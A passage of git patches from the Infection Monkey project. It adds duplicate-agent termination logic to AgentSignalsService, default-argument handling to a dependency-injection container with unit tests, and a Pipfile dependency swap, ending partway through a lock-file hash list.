deletions(-) diff --git a/monkey/monkey_island/cc/services/agent_signals_service.py b/monkey/monkey_island/cc/services/agent_signals_service.py index b47ddcb62e6..b583b93be16 100644 --- a/monkey/monkey_island/cc/services/agent_signals_service.py +++ b/monkey/monkey_island/cc/services/agent_signals_service.py @@ -4,7 +4,7 @@ from common.agent_signals import AgentSignals from common.types import AgentID -from monkey_island.cc.models import Simulation, TerminateAllAgents +from monkey_island.cc.models import Agent, MachineID, Simulation, TerminateAllAgents from monkey_island.cc.repositories import IAgentRepository, ISimulationRepository logger = logging.getLogger(__name__) @@ -40,9 +40,27 @@ def get_signals(self, agent_id: AgentID) -> AgentSignals: if agent.stop_time is not None: return AgentSignals(terminate=agent.stop_time) + if not self._agent_is_first_to_register(agent): + return AgentSignals(terminate=agent.registration_time) + terminate_timestamp = self._get_terminate_signal_timestamp(agent_id) return AgentSignals(terminate=terminate_timestamp) + def _agents_running_on_machine(self, machine_id: MachineID): + return [ + a + for a in self._agent_repository.get_agents() + if a.machine_id == machine_id and a.stop_time is None + ] + + def _agent_is_first_to_register(self, agent: Agent) -> bool: + agents_on_same_machine = self._agents_running_on_machine(agent.machine_id) + print(agents_on_same_machine) + first_to_register = min( + agents_on_same_machine, key=lambda a: a.registration_time, default=agent + ) + return agent is first_to_register + def _get_terminate_signal_timestamp(self, agent_id: AgentID) -> Optional[datetime]: simulation = self._simulation_repository.get_simulation() terminate_all_signal_time = simulation.terminate_signal_time diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index 7f634ffae7f..8fc2027affe 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -29,10 +29,19 @@ AGENT_3 = Agent( id=UUID("0fc9afcb-1902-436b-bd5c-1ad194252484"), machine_id=3, + registration_time=301, start_time=300, parent_id=AGENT_2.id, ) +AGENT_4 = Agent( + id=UUID("0fc9afcb-1902-436b-bd5c-1ad194252485"), + machine_id=3, + registration_time=302, + start_time=299, + parent_id=AGENT_2.id, +) + AGENTS = [AGENT_1, AGENT_2, AGENT_3] STOPPED_AGENT = Agent( @@ -43,12 +52,14 @@ parent_id=AGENT_3.id, ) -ALL_AGENTS = [*AGENTS, STOPPED_AGENT] +ALL_AGENTS = [*AGENTS, AGENT_4, STOPPED_AGENT] @pytest.fixture def mock_simulation_repository() -> IAgentRepository: - return MagicMock(spec=ISimulationRepository) + repository = MagicMock(spec=ISimulationRepository) + repository.get_simulation = MagicMock(return_value=Simulation(terminate_signal_time=None)) + return repository @pytest.fixture(scope="session") @@ -63,6 +74,7 @@ def get_agent_by_id(agent_id: AgentID) -> Agent: agent_repository = MagicMock(spec=IAgentRepository) agent_repository.get_progenitor = MagicMock(return_value=AGENT_1) agent_repository.get_agent_by_id = MagicMock(side_effect=get_agent_by_id) + agent_repository.get_agents = MagicMock(return_value=ALL_AGENTS) return agent_repository @@ -77,9 +89,6 @@ def test_stopped_agent( mock_simulation_repository: ISimulationRepository, ): agent = STOPPED_AGENT - mock_simulation_repository.get_simulation = MagicMock( - return_value=Simulation(terminate_signal_time=None) - ) signals = agent_signals_service.get_signals(agent.id) assert signals.terminate == agent.stop_time @@ -91,10 +100,6 @@ def test_terminate_is_none( agent_signals_service: AgentSignalsService, mock_simulation_repository: ISimulationRepository, ): - mock_simulation_repository.get_simulation = MagicMock( - return_value=Simulation(terminate_signal_time=None) - ) - signals = agent_signals_service.get_signals(agent.id) assert signals.terminate is None @@ -153,7 +158,6 @@ def test_on_terminate_agents_signal__stores_timestamp( timestamp = 100 terminate_all_agents = TerminateAllAgents(timestamp=timestamp) - mock_simulation_repository.get_simulation = MagicMock(return_value=Simulation()) agent_signals_service.on_terminate_agents_signal(terminate_all_agents) expected_value = Simulation(terminate_signal_time=timestamp) @@ -174,3 +178,22 @@ def test_on_terminate_agents_signal__updates_timestamp( expected_value = Simulation(mode=IslandMode.RANSOMWARE, terminate_signal_time=timestamp) assert mock_simulation_repository.save_simulation.called_once_with(expected_value) + + +def test_terminate_signal__not_set_if_agent_registered_before_another(agent_signals_service): + signals = agent_signals_service.get_signals(AGENT_3.id) + + assert signals.terminate is None + + +def test_terminate_signal__set_if_agent_registered_after_another(agent_signals_service): + signals = agent_signals_service.get_signals(AGENT_4.id) + + assert signals.terminate is not None + + +def test_terminate_signal__not_set_if_agent_registered_after_stopped_agent(agent_signals_service): + AGENT_3.stop_time = 400 + signals = agent_signals_service.get_signals(AGENT_4.id) + + assert signals.terminate is None From 61e4da3289711814362c1afb7202417895a78854 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 11:17:25 +0100 Subject: [PATCH 0339/1338] Island: Change running_agents_on_machine logic in AgentSignalsService --- .../cc/services/agent_signals_service.py | 13 +++++-------- .../cc/services/test_agent_signals_service.py | 8 +++++--- 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/agent_signals_service.py b/monkey/monkey_island/cc/services/agent_signals_service.py index b583b93be16..e58b21cb4eb 100644 --- a/monkey/monkey_island/cc/services/agent_signals_service.py +++ b/monkey/monkey_island/cc/services/agent_signals_service.py @@ -46,21 +46,18 @@ def get_signals(self, agent_id: AgentID) -> AgentSignals: terminate_timestamp = self._get_terminate_signal_timestamp(agent_id) return AgentSignals(terminate=terminate_timestamp) - def _agents_running_on_machine(self, machine_id: MachineID): - return [ - a - for a in self._agent_repository.get_agents() - if a.machine_id == machine_id and a.stop_time is None - ] - def _agent_is_first_to_register(self, agent: Agent) -> bool: agents_on_same_machine = self._agents_running_on_machine(agent.machine_id) - print(agents_on_same_machine) first_to_register = min( agents_on_same_machine, key=lambda a: a.registration_time, default=agent ) return agent is first_to_register + def _agents_running_on_machine(self, machine_id: MachineID): + return [ + a for a in self._agent_repository.get_running_agents() if a.machine_id == machine_id + ] + def _get_terminate_signal_timestamp(self, agent_id: AgentID) -> Optional[datetime]: simulation = self._simulation_repository.get_simulation() terminate_all_signal_time = simulation.terminate_signal_time diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index 8fc2027affe..76746d582e3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -74,7 +74,7 @@ def get_agent_by_id(agent_id: AgentID) -> Agent: agent_repository = MagicMock(spec=IAgentRepository) agent_repository.get_progenitor = MagicMock(return_value=AGENT_1) agent_repository.get_agent_by_id = MagicMock(side_effect=get_agent_by_id) - agent_repository.get_agents = MagicMock(return_value=ALL_AGENTS) + agent_repository.get_running_agents = MagicMock(return_value=AGENTS) return agent_repository @@ -192,8 +192,10 @@ def test_terminate_signal__set_if_agent_registered_after_another(agent_signals_s assert signals.terminate is not None -def test_terminate_signal__not_set_if_agent_registered_after_stopped_agent(agent_signals_service): - AGENT_3.stop_time = 400 +def test_terminate_signal__not_set_if_agent_registered_after_stopped_agent( + agent_signals_service: AgentSignalsService, mock_agent_repository: IAgentRepository +): + mock_agent_repository.get_running_agents = MagicMock(return_value=[AGENT_1, AGENT_2]) signals = agent_signals_service.get_signals(AGENT_4.id) assert signals.terminate is None From 651b4e8c19bf1bd43d4a578b5481190098fcd65d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 08:18:27 -0500 Subject: [PATCH 0340/1338] UT: Improve implementation of mock_agent_repository.get_running_agents --- .../monkey_island/cc/services/test_agent_signals_service.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index 76746d582e3..b0498f71489 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -74,7 +74,9 @@ def get_agent_by_id(agent_id: AgentID) -> Agent: agent_repository = MagicMock(spec=IAgentRepository) agent_repository.get_progenitor = MagicMock(return_value=AGENT_1) agent_repository.get_agent_by_id = MagicMock(side_effect=get_agent_by_id) - agent_repository.get_running_agents = MagicMock(return_value=AGENTS) + agent_repository.get_running_agents = MagicMock( + return_value=[a for a in ALL_AGENTS if a.stop_time is None] + ) return agent_repository From 3c66438f2f7fa6f07871609a885963daa73e55db Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 08:20:35 -0500 Subject: [PATCH 0341/1338] UT: Rename AGENT_4 -> DUPLICATE_MACHINE_AGENT --- .../cc/services/test_agent_signals_service.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index b0498f71489..bf0edd3782d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -34,7 +34,7 @@ parent_id=AGENT_2.id, ) -AGENT_4 = Agent( +DUPLICATE_MACHINE_AGENT = Agent( id=UUID("0fc9afcb-1902-436b-bd5c-1ad194252485"), machine_id=3, registration_time=302, @@ -52,7 +52,7 @@ parent_id=AGENT_3.id, ) -ALL_AGENTS = [*AGENTS, AGENT_4, STOPPED_AGENT] +ALL_AGENTS = [*AGENTS, DUPLICATE_MACHINE_AGENT, STOPPED_AGENT] @pytest.fixture @@ -189,7 +189,7 @@ def test_terminate_signal__not_set_if_agent_registered_before_another(agent_sign def test_terminate_signal__set_if_agent_registered_after_another(agent_signals_service): - signals = agent_signals_service.get_signals(AGENT_4.id) + signals = agent_signals_service.get_signals(DUPLICATE_MACHINE_AGENT.id) assert signals.terminate is not None @@ -198,6 +198,6 @@ def test_terminate_signal__not_set_if_agent_registered_after_stopped_agent( agent_signals_service: AgentSignalsService, mock_agent_repository: IAgentRepository ): mock_agent_repository.get_running_agents = MagicMock(return_value=[AGENT_1, AGENT_2]) - signals = agent_signals_service.get_signals(AGENT_4.id) + signals = agent_signals_service.get_signals(DUPLICATE_MACHINE_AGENT.id) assert signals.terminate is None From d1dbeb44fcccff3573c48c26d7a01d1b561af107 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 08:57:37 -0500 Subject: [PATCH 0342/1338] Common: Handle default arguments in DIContainer --- monkey/common/di_container.py | 17 +++++++++++--- .../unit_tests/common/test_di_container.py | 22 +++++++++++++++++++ 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index eb5361769ba..fe6eeedfbed 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -111,8 +111,8 @@ def __init__(self, hostname: str): def resolve(self, type_: Type[T]) -> T: """ Resolves all dependencies and returns a new instance of `type_` using constructor dependency - injection. Note that only positional arguments are resolved. Varargs, keyword-only args, and - default values are ignored. + injection. Note that only positional arguments or arguments with defaults are resolved. + Varargs and keyword-only args are ignored. Dependencies are resolved with the following precedence @@ -147,7 +147,13 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: try: instance = self._resolve_convention(arg_type, arg_name) except UnregisteredConventionError: - instance = self._resolve_type(arg_type) + try: + instance = self._resolve_type(arg_type) + except UnresolvableDependencyError as err: + if DIContainer._has_default_argument(type_, arg_name): + continue + + raise err args.append(instance) @@ -183,6 +189,11 @@ def _construct_new_instance(self, arg_type: Type[T]) -> T: def _retrieve_registered_instance(self, arg_type: Type[T]) -> T: return self._instance_registry[arg_type] + @staticmethod + def _has_default_argument(type_: Type[T], arg_name: str) -> bool: + parameters = inspect.signature(type_).parameters + return parameters[arg_name].default is not inspect.Parameter.empty + def release(self, interface: Type[T]): """ Deregister an interface diff --git a/monkey/tests/unit_tests/common/test_di_container.py b/monkey/tests/unit_tests/common/test_di_container.py index 857168f82aa..4163d1f2987 100644 --- a/monkey/tests/unit_tests/common/test_di_container.py +++ b/monkey/tests/unit_tests/common/test_di_container.py @@ -374,3 +374,25 @@ def test_release_convention(container): with pytest.raises(ValueError): container.release_convention(str, "my_str") container.resolve(TestClass6) + + +class Dependency: + def __init__(self, my_int=42): + self.my_int = my_int + + +class HasDefault: + def __init__(self, dependency: Dependency = Dependency(99)): + self.dependency = dependency + + +def test_handle_default_parameter__no_dependency_registered(container): + has_default = container.resolve(HasDefault) + assert has_default.dependency.my_int == 99 + + +def test_handle_default_parameter__dependency_registered(container): + container.register(Dependency, Dependency) + + has_default = container.resolve(HasDefault) + assert has_default.dependency.my_int == 42 From 47e325561fe6f9d8b7b14623b1e38246b72188d4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 08:59:20 -0500 Subject: [PATCH 0343/1338] Common: Flatten logic in DIContainer.resolve_dependencies() --- monkey/common/di_container.py | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index fe6eeedfbed..bac6d9ca8e0 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -144,18 +144,17 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: args = [] for arg_name, arg_type in inspect.getfullargspec(type_).annotations.items(): - try: - instance = self._resolve_convention(arg_type, arg_name) - except UnregisteredConventionError: - try: - instance = self._resolve_type(arg_type) - except UnresolvableDependencyError as err: - if DIContainer._has_default_argument(type_, arg_name): - continue + with suppress(UnregisteredConventionError): + args.append(self._resolve_convention(arg_type, arg_name)) + continue - raise err + try: + args.append(self._resolve_type(arg_type)) + except UnresolvableDependencyError as err: + if DIContainer._has_default_argument(type_, arg_name): + continue - args.append(instance) + raise err return tuple(args) From e28044b0532be887a47f9952c014a1935265239c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 09:11:54 -0500 Subject: [PATCH 0344/1338] Common: Improve logic in DIContainer.resolve_dependencies() It's cleaner to use the inspect.Parameter class to evaluate parameters as opposed to inspect.FullArgSpec. --- monkey/common/di_container.py | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index bac6d9ca8e0..d134eaef26c 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -143,15 +143,16 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: """ args = [] - for arg_name, arg_type in inspect.getfullargspec(type_).annotations.items(): + for parameter in inspect.signature(type_).parameters.values(): with suppress(UnregisteredConventionError): - args.append(self._resolve_convention(arg_type, arg_name)) + args.append(self._resolve_convention(parameter.annotation, parameter.name)) continue try: - args.append(self._resolve_type(arg_type)) + args.append(self._resolve_type(parameter.annotation)) except UnresolvableDependencyError as err: - if DIContainer._has_default_argument(type_, arg_name): + if parameter.default is not inspect.Parameter.empty: + # Default value will be used to construct the object. No need to add it to args. continue raise err @@ -188,11 +189,6 @@ def _construct_new_instance(self, arg_type: Type[T]) -> T: def _retrieve_registered_instance(self, arg_type: Type[T]) -> T: return self._instance_registry[arg_type] - @staticmethod - def _has_default_argument(type_: Type[T], arg_name: str) -> bool: - parameters = inspect.signature(type_).parameters - return parameters[arg_name].default is not inspect.Parameter.empty - def release(self, interface: Type[T]): """ Deregister an interface From 3a69d6d20ee0e71640f00a4b06e6d07ee8ad4411 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 09:20:18 -0500 Subject: [PATCH 0345/1338] Common: Improve default handling in DIContainer --- monkey/common/di_container.py | 7 +++---- .../tests/unit_tests/common/test_di_container.py | 14 ++++++++++++++ 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index d134eaef26c..c0dbee5dc67 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -151,11 +151,10 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: try: args.append(self._resolve_type(parameter.annotation)) except UnresolvableDependencyError as err: - if parameter.default is not inspect.Parameter.empty: - # Default value will be used to construct the object. No need to add it to args. - continue + if parameter.default is inspect.Parameter.empty: + raise err - raise err + args.append(parameter.default) return tuple(args) diff --git a/monkey/tests/unit_tests/common/test_di_container.py b/monkey/tests/unit_tests/common/test_di_container.py index 4163d1f2987..476ed703b70 100644 --- a/monkey/tests/unit_tests/common/test_di_container.py +++ b/monkey/tests/unit_tests/common/test_di_container.py @@ -396,3 +396,17 @@ def test_handle_default_parameter__dependency_registered(container): has_default = container.resolve(HasDefault) assert has_default.dependency.my_int == 42 + + +def test_handle_default_parameter__skip_default(container): + class HasDefault_2_Parameters: + def __init__(self, dependency: Dependency = Dependency(99), my_str: str = "hello"): + self.dependency = dependency + self.my_str = my_str + + container.register_instance(str, "goodbye") + + has_default = container.resolve(HasDefault_2_Parameters) + + assert has_default.dependency.my_int == 99 + assert has_default.my_str == "goodbye" From 0439d63bc3c80b97959b8aa1c3fae9f1cd6f7691 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 09:28:37 -0500 Subject: [PATCH 0346/1338] Common: Extract method DIContainer._resolve_parameter --- monkey/common/di_container.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index c0dbee5dc67..ff9f38f259d 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -148,13 +148,7 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: args.append(self._resolve_convention(parameter.annotation, parameter.name)) continue - try: - args.append(self._resolve_type(parameter.annotation)) - except UnresolvableDependencyError as err: - if parameter.default is inspect.Parameter.empty: - raise err - - args.append(parameter.default) + args.append(self._resolve_parameter(parameter)) return tuple(args) @@ -167,6 +161,15 @@ def _resolve_convention(self, type_: Type[T], name: str) -> T: f"Failed to resolve unregistered convention {convention_identifier}" ) + def _resolve_parameter(self, parameter: inspect.Parameter) -> Any: + try: + return self._resolve_type(parameter.annotation) + except UnresolvableDependencyError as err: + if parameter.default is inspect.Parameter.empty: + raise err + + return parameter.default + def _resolve_type(self, type_: Type[T]) -> T: if type_ in self._type_registry: return self._construct_new_instance(type_) From 5d3779d420986b442b6e19b1fb8c5ce07cd039a2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 09:51:41 -0500 Subject: [PATCH 0347/1338] Common: Remove DIContainer._resolve_parameter() --- monkey/common/di_container.py | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index ff9f38f259d..df4e79a1ab5 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -124,7 +124,7 @@ def resolve(self, type_: Type[T]) -> T: :raises UnresolvableDependencyError: If any dependencies could not be successfully resolved """ with suppress(UnresolvableDependencyError): - return self._resolve_type(type_) + return self._resolve_type(type_, inspect.Parameter.empty) args = self.resolve_dependencies(type_) return type_(*args) @@ -148,7 +148,7 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: args.append(self._resolve_convention(parameter.annotation, parameter.name)) continue - args.append(self._resolve_parameter(parameter)) + args.append(self._resolve_type(parameter.annotation, parameter.default)) return tuple(args) @@ -161,21 +161,16 @@ def _resolve_convention(self, type_: Type[T], name: str) -> T: f"Failed to resolve unregistered convention {convention_identifier}" ) - def _resolve_parameter(self, parameter: inspect.Parameter) -> Any: - try: - return self._resolve_type(parameter.annotation) - except UnresolvableDependencyError as err: - if parameter.default is inspect.Parameter.empty: - raise err - - return parameter.default - - def _resolve_type(self, type_: Type[T]) -> T: + def _resolve_type(self, type_: Type[T], default: T) -> T: if type_ in self._type_registry: return self._construct_new_instance(type_) - elif type_ in self._instance_registry: + + if type_ in self._instance_registry: return self._retrieve_registered_instance(type_) + if default is not inspect.Parameter.empty: + return default + raise UnresolvableDependencyError( f'Failed to resolve unregistered type "{DIContainer._format_type_name(type)}"' ) From 2c75d178f60447f10cce43f86af07cf8c57305e6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 10:12:40 -0500 Subject: [PATCH 0348/1338] Common: Extract method DIContainer._resolve_default() --- monkey/common/di_container.py | 28 ++++++++++++++++++++++------ 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index df4e79a1ab5..f6daed5c4e9 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -124,7 +124,7 @@ def resolve(self, type_: Type[T]) -> T: :raises UnresolvableDependencyError: If any dependencies could not be successfully resolved """ with suppress(UnresolvableDependencyError): - return self._resolve_type(type_, inspect.Parameter.empty) + return self._resolve_type(type_) args = self.resolve_dependencies(type_) return type_(*args) @@ -148,7 +148,18 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: args.append(self._resolve_convention(parameter.annotation, parameter.name)) continue - args.append(self._resolve_type(parameter.annotation, parameter.default)) + with suppress(UnresolvableDependencyError): + args.append(self._resolve_type(parameter.annotation)) + continue + + with suppress(UnresolvableDependencyError): + args.append(self._resolve_default(parameter)) + continue + + raise UnresolvableDependencyError( + f"Failed to resolve dependency {parameter.name} of type " + f"{DIContainer._format_type_name(parameter.annotation)}" + ) return tuple(args) @@ -161,16 +172,13 @@ def _resolve_convention(self, type_: Type[T], name: str) -> T: f"Failed to resolve unregistered convention {convention_identifier}" ) - def _resolve_type(self, type_: Type[T], default: T) -> T: + def _resolve_type(self, type_: Type[T]) -> T: if type_ in self._type_registry: return self._construct_new_instance(type_) if type_ in self._instance_registry: return self._retrieve_registered_instance(type_) - if default is not inspect.Parameter.empty: - return default - raise UnresolvableDependencyError( f'Failed to resolve unregistered type "{DIContainer._format_type_name(type)}"' ) @@ -186,6 +194,14 @@ def _construct_new_instance(self, arg_type: Type[T]) -> T: def _retrieve_registered_instance(self, arg_type: Type[T]) -> T: return self._instance_registry[arg_type] + def _resolve_default(self, parameter: inspect.Parameter) -> Any: + if parameter.default is not inspect.Parameter.empty: + return parameter.default + + raise UnresolvableDependencyError( + f'No default found for "{parameter.name}:{DIContainer._format_type_name(type)}"' + ) + def release(self, interface: Type[T]): """ Deregister an interface From cb20874b0736ea0890f9317afabdd0702fdee553 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 10:16:43 -0500 Subject: [PATCH 0349/1338] Common: Change parameters to DiContainer._resolve_default() --- monkey/common/di_container.py | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/monkey/common/di_container.py b/monkey/common/di_container.py index f6daed5c4e9..898295dcd75 100644 --- a/monkey/common/di_container.py +++ b/monkey/common/di_container.py @@ -153,7 +153,7 @@ def resolve_dependencies(self, type_: Type[T]) -> Sequence[Any]: continue with suppress(UnresolvableDependencyError): - args.append(self._resolve_default(parameter)) + args.append(self._resolve_default(parameter.name, parameter.default)) continue raise UnresolvableDependencyError( @@ -194,13 +194,11 @@ def _construct_new_instance(self, arg_type: Type[T]) -> T: def _retrieve_registered_instance(self, arg_type: Type[T]) -> T: return self._instance_registry[arg_type] - def _resolve_default(self, parameter: inspect.Parameter) -> Any: - if parameter.default is not inspect.Parameter.empty: - return parameter.default + def _resolve_default(self, name: str, default: T) -> T: + if default is not inspect.Parameter.empty: + return default - raise UnresolvableDependencyError( - f'No default found for "{parameter.name}:{DIContainer._format_type_name(type)}"' - ) + raise UnresolvableDependencyError(f'No default found for "{name}"') def release(self, interface: Type[T]): """ From 54252790b0eaa0757b3c77abafe49e20d14f2de6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 12:15:53 -0500 Subject: [PATCH 0350/1338] Island: Fix logic error in AgentSignalsService Issue #2817 PR #3065 --- monkey/monkey_island/cc/services/agent_signals_service.py | 2 +- .../cc/services/test_agent_signals_service.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/agent_signals_service.py b/monkey/monkey_island/cc/services/agent_signals_service.py index e58b21cb4eb..dc9cc3b5beb 100644 --- a/monkey/monkey_island/cc/services/agent_signals_service.py +++ b/monkey/monkey_island/cc/services/agent_signals_service.py @@ -51,7 +51,7 @@ def _agent_is_first_to_register(self, agent: Agent) -> bool: first_to_register = min( agents_on_same_machine, key=lambda a: a.registration_time, default=agent ) - return agent is first_to_register + return agent.id == first_to_register.id def _agents_running_on_machine(self, machine_id: MachineID): return [ diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index bf0edd3782d..171e14a09be 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -1,3 +1,4 @@ +from copy import copy from unittest.mock import MagicMock from uuid import UUID @@ -67,15 +68,15 @@ def mock_agent_repository() -> IAgentRepository: def get_agent_by_id(agent_id: AgentID) -> Agent: for agent in ALL_AGENTS: if agent.id == agent_id: - return agent + return copy(agent) raise UnknownRecordError(str(agent_id)) agent_repository = MagicMock(spec=IAgentRepository) - agent_repository.get_progenitor = MagicMock(return_value=AGENT_1) + agent_repository.get_progenitor = MagicMock(return_value=copy(AGENT_1)) agent_repository.get_agent_by_id = MagicMock(side_effect=get_agent_by_id) agent_repository.get_running_agents = MagicMock( - return_value=[a for a in ALL_AGENTS if a.stop_time is None] + return_value=[copy(a) for a in ALL_AGENTS if a.stop_time is None] ) return agent_repository From 99cdad1926e351eebc1659f0678157298703ed6e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 11:12:45 -0500 Subject: [PATCH 0351/1338] Agent: Replace netifaces with ifaddr in Pipfile --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 331 ++++++++++++--------------- 2 files changed, 146 insertions(+), 187 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index d877ad4159a..ed22be5bd15 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,9 +5,9 @@ name = "pypi" [packages] pyinstaller = "*" +ifaddr = "*" impacket = ">=0.9" ipaddress = ">=1.0.23" -netifaces = ">=0.10.9" odict = "==1.7.0" psutil = ">=5.7.0" pymssql = "*" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 4c203e69664..e0c91b71f85 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "0b2ddd10ae03c0702a961922dd8ab2cad4577affa77484cc6f328bfe7ed004ee" + "sha256": "79e664de6a9285f6cbfb1c703ccfd5b19569f33e4180a8c27e5a1e674a8ac8c4" }, "pipfile-spec": 6, "requires": { @@ -190,97 +190,84 @@ }, "charset-normalizer": { "hashes": [ - "sha256:00d3ffdaafe92a5dc603cb9bd5111aaa36dfa187c8285c543be562e61b755f6b", - "sha256:024e606be3ed92216e2b6952ed859d86b4cfa52cd5bc5f050e7dc28f9b43ec42", - "sha256:0298eafff88c99982a4cf66ba2efa1128e4ddaca0b05eec4c456bbc7db691d8d", - "sha256:02a51034802cbf38db3f89c66fb5d2ec57e6fe7ef2f4a44d070a593c3688667b", - "sha256:083c8d17153ecb403e5e1eb76a7ef4babfc2c48d58899c98fcaa04833e7a2f9a", - "sha256:0a11e971ed097d24c534c037d298ad32c6ce81a45736d31e0ff0ad37ab437d59", - "sha256:0bf2dae5291758b6f84cf923bfaa285632816007db0330002fa1de38bfcb7154", - "sha256:0c0a590235ccd933d9892c627dec5bc7511ce6ad6c1011fdf5b11363022746c1", - "sha256:0f438ae3532723fb6ead77e7c604be7c8374094ef4ee2c5e03a3a17f1fca256c", - "sha256:109487860ef6a328f3eec66f2bf78b0b72400280d8f8ea05f69c51644ba6521a", - "sha256:11b53acf2411c3b09e6af37e4b9005cba376c872503c8f28218c7243582df45d", - "sha256:12db3b2c533c23ab812c2b25934f60383361f8a376ae272665f8e48b88e8e1c6", - "sha256:14e76c0f23218b8f46c4d87018ca2e441535aed3632ca134b10239dfb6dadd6b", - "sha256:16a8663d6e281208d78806dbe14ee9903715361cf81f6d4309944e4d1e59ac5b", - "sha256:292d5e8ba896bbfd6334b096e34bffb56161c81408d6d036a7dfa6929cff8783", - "sha256:2c03cc56021a4bd59be889c2b9257dae13bf55041a3372d3295416f86b295fb5", - "sha256:2e396d70bc4ef5325b72b593a72c8979999aa52fb8bcf03f701c1b03e1166918", - "sha256:2edb64ee7bf1ed524a1da60cdcd2e1f6e2b4f66ef7c077680739f1641f62f555", - "sha256:31a9ddf4718d10ae04d9b18801bd776693487cbb57d74cc3458a7673f6f34639", - "sha256:356541bf4381fa35856dafa6a965916e54bed415ad8a24ee6de6e37deccf2786", - "sha256:358a7c4cb8ba9b46c453b1dd8d9e431452d5249072e4f56cfda3149f6ab1405e", - "sha256:37f8febc8ec50c14f3ec9637505f28e58d4f66752207ea177c1d67df25da5aed", - "sha256:39049da0ffb96c8cbb65cbf5c5f3ca3168990adf3551bd1dee10c48fce8ae820", - "sha256:39cf9ed17fe3b1bc81f33c9ceb6ce67683ee7526e65fde1447c772afc54a1bb8", - 